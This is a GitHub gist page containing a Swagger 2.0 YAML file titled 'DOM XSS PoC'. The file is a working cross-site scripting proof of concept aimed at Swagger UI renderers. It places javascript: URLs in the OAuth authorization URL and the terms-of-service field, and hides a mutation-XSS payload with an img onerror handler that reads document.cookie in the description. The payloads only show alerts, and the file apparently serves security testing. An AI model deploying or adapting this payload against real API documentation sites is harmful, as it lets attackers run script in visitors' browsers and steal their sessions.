Skip to content

Instantly share code, notes, and snippets.

@emadshanab
Forked from zenelite123/xss.yaml
Created December 10, 2023 13:05
Show Gist options
  • Select an option

  • Save emadshanab/c691d85888d156ccac9e36cb4412fdfe to your computer and use it in GitHub Desktop.

Select an option

Save emadshanab/c691d85888d156ccac9e36cb4412fdfe to your computer and use it in GitHub Desktop.
swagger: '2.0'
securityDefinitions:
a:
type: oauth2
authorizationUrl: javascript:alert(document.domain)//
info:
version: "0.0.1"
title: DOM XSS PoC
description: '<form><math><mtext></form><form><mglyph><svg><mtext><style><path id="</style><img onerror=alert(document.cookie) src>">'
termsOfService: "javascript:alert(document.cookie)"
paths:
/:
get:
responses:
200:
description: Echo GET
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment